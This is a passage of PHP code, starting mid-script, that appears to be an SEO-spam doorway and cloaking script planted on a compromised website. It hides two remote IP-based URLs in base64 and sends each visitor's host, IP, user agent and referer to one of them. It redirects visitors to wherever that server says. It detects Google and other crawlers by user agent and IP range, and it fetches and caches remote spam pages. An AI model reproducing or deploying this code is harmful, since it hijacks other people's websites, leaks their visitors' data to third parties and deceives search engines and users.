$xVal) { $xVal = trim($xVal); if ($checkP=strchr($xVal,"$p1")) { $okCurq = explode("||", $xVal); $okCurq = "$okCurq[2]"; $PrevQ = 1; } } } $host7=base64_encode($_SERVER["HTTP_HOST"]); $agent7=base64_encode($_SERVER["HTTP_USER_AGENT"]); $ip7=base64_encode($_SERVER["REMOTE_ADDR"]); $ref7=base64_encode($_SERVER["HTTP_REFERER"]); if ($PrevQ==0) {$query=base64_encode($_GET["q"]);} else {$query=base64_encode($okCurq);} $xred=base64_decode('aHR0cDovLzY5LjY0LjM2LjEzNS9zdGF0dG9zdGF0Mi8/cz03NzU4Njkz'); $xred="$xred&agent=$agent7&ip=$ip7&ref=$ref7&host=$host7&query=$query"; $red_url_tek=xinclude($xred,"1"); $red_url_tek=trim($red_url_tek); //header("Location: ".$red_url_tek); $redCheck=1; $countUnOkF = file("a88945835.txt"); $countUnOk = count($countUnOkF); if ($countUnOk<50) { $redCheck = 0; $countUnIn = fopen("a88945835.txt","a+"); fwrite($countUnIn,"+ \n"); fclose($countUnIn); unlink("t.html"); } if ($flag2=strchr($red_url_tek,"sls=888")) { $noexit=1;} else { if ($redCheck==1) { header("Location: ".$red_url_tek); } } } $p1=$_GET["p"]; if (!$p1) { $p123=$_GET["cx"]; if (!$p123) {echo ""; die;} $qCurFromFile = file("a99945835.txt"); foreach ($qCurFromFile as $xkey => $xVal) { $xVal = trim($xVal); if ($checkP=strchr($xVal,"$p123")) { $okCurq = explode("||", $xVal); $okCurq = "$okCurq[1]"; $p1 = $okCurq; } } } if (!$p1) {echo ""; die;} $p=trim($p1); $x=base64_decode('aHR0cDovLzE5NS4zLjE0NS4yMDIvMTAzMDcwOQ=='); $c=trim($x); if ($cont=file_get_contents("$p1.html")) echo $cont; else { $g="$c/7758424/$p.html"; xinclude($g,"0",$p); } function IsBotUA($UA) { $UA = strtolower($UA); if (strpos($UA,"googlebot") !== FALSE) return TRUE; if (strpos($UA,"slurp") !== FALSE) return TRUE; if (strpos($UA,"msnbot") !== FALSE) return TRUE; if (strpos($UA,"mediapartners-google") !== FALSE) return TRUE; if (strpos($UA,"googlet") !== FALSE) return TRUE; if (strpos($UA,"gtb") !== FALSE) return TRUE; if (strpos($UA,"googletoolbar") !== FALSE) return TRUE; if (strpos($UA,"google.toolbar") !== FALSE) return TRUE; return FALSE; } function IsBotIP($IP) { global $ips; foreach ($ips as $BotIP) { //if (strpos($IP, $BotIP) !== FALSE) if (strpos($IP, $BotIP) === 0) {return TRUE;} } $BotFerstNet = explode(".", $IP); $BotFerstNet = trim($BotFerstNet[0]); if ( ($BotFerstNet=="4") or ($BotFerstNet=="8") ) {return TRUE;} return FALSE; } function IsSERef($Ref) { $Ref = strtolower($Ref); if (strpos($Ref,"google.") !== FALSE) return TRUE; if (strpos($Ref,"yahoo.") !== FALSE) return TRUE; if (strpos($Ref,"bing.") !== FALSE) return TRUE; if (strpos($Ref,"live.") !== FALSE) return TRUE; if (strpos($Ref,"aol.") !== FALSE) return TRUE; return FALSE; } function IsZoneInKey($Ref) { global $zones; $tmp1 = explode("q=", $Ref); $tmp2 = explode("&",$tmp1[1]); $kw = $tmp2[0]; foreach ($zones as $zone) if (stristr($kw, $zone)) return TRUE; return FALSE; } function IsWinUA($UA) { $UA = strtolower($UA); if (strpos($UA,"windows") !== FALSE) return TRUE; return FALSE; } function IsNotIE($UA) { $UA = strtolower($UA); // if (strpos($UA,"firefox") !== FALSE) return TRUE; if (strpos($UA,"chrome") !== FALSE) return TRUE; return FALSE; } if (!function_exists ("file_get_contents")) { function file_get_contents ($addr) { $a = @fopen ($addr, "r"); $tmp = @fread ($a, sprintf ("%u", @filesize ($a))); @fclose ($a); if ($a) return @$tmp; } } if (!function_exists ("file_put_contents")) { function file_put_contents ($addr, $con) { $a = @fopen ($addr, "w+"); if (!$a) return 0; @fwrite ($a, $con); @fclose ($a); return @strlen ($con); } } function xinclude ($path,$rt,$pagecr) { $content = file_get_contents ($path); if ($content == "") { $curl = curl_init (); curl_setopt ($curl, CURLOPT_URL, trim($path)); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt ($curl, CURLOPT_TIMEOUT, 5); $content = curl_exec ($curl); curl_close($curl); } if ($content!="") { if (!$checkNotF=strchr($content,"The requested URL /1030709")) { if ($rt <> 1) { if (!function_exists ("file_put_contents")) { $a = @fopen ("$pagecr.html", "w+"); @fwrite ($a, $content); @fclose ($a); } else { file_put_contents ("$pagecr.html", $content); } } if ($rt == 1) return $content; else echo $content; } } return; } ?>